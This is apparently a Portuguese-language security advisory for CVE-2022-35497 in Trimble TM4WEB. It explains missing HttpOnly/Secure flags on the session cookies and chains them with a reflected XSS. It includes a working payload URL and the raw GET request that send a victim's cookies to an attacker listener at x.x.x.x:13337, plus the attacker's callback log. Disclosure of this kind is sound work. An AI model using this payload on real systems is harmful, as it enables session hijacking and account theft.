
TM4WEB Vulnerability - CVE-2022-35497
No TM4WEB da Trimble <=22.2.0, devido a uma configuração incorreta de segurança com identificadores de sessão, é possível recuperar cookies de sessão válidos por meio de cross-site scripting refletido que afeta o endpoint do visualizador de documentos externos.
Especificamente, os três cookies usados para manter as sessões são UID, rstring e PHPSESSIONID, nenhum dos quais possui o flag HttpOnly adequado para impedir a recuperação por vetores de execução JavaScript.
Passo 1 :
O atacante explora a vulnerabilidade de cross-site scripting refletido CVE-2022-35499 para obter cookies de sessão da vítima autenticada.
O atacante inicia um listener em uma porta arbitrária de um servidor voltado para a internet que possa receber requisições HTTP. Isso pode ser feito com um serviço como requestbin, ou simplesmente iniciando um listener netcat em uma porta arbitrária.
A URL de exemplo usa o XSS referenciado CVE-2022-35499 para realizar um ataque de sequestro de sessão contra usuário autenticado e envia os cookies de sessão da vítima para o servidor controlado pelo atacante
(representado por x.x.x.x em vez do nosso endereço IP no exemplo) na porta 13337
Exemplo de URL maliciosa usando site inexistente:
https://example.tm4web.com/trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!--
Essa vulnerabilidade só é possível porque os identificadores de sessão não estão adequadamente protegidos contra esse tipo de ataque.
Os três cookies usados para manter as sessões são :
UID
rstring
PHPSESSIONID
Nenhum desses cookies é configurado com o flag HttpOnly. Essa opção de configuração impediria que os valores dos cookies fossem acessíveis a partir de um contexto JavaScript.
Da mesma forma, esses cookies também deveriam ter o flag SECURE habilitado, o que impede que sejam transmitidos por um canal não criptografado.
A requisição GET maliciosa usada para realizar o ataque é mostrada abaixo, com o IP do servidor do atacante omitido e substituído por x.x.x.x
GET /trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!-- HTTP/1.1
Host: example-tm4web.com
Cookie: uid=BELLTESTUSER; rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ; PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc
A requisição de callback resultante que o atacante recebe em seu servidor é mostrada abaixo, revelando os cookies de sessão da vítima anexados ao parâmetro ?c.
GET /foo.txt?c=uid=BELLTESTUSER;%20rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ;%20PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc HTTP/1.1
Host: x.x.x.x:13337
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
IMPACTO: usuários autenticados podem ter suas sessões e contas de usuário sequestradas por atacantes que exploram a vulnerabilidade de XSS refletido a partir de uma posição de ataque não autenticada.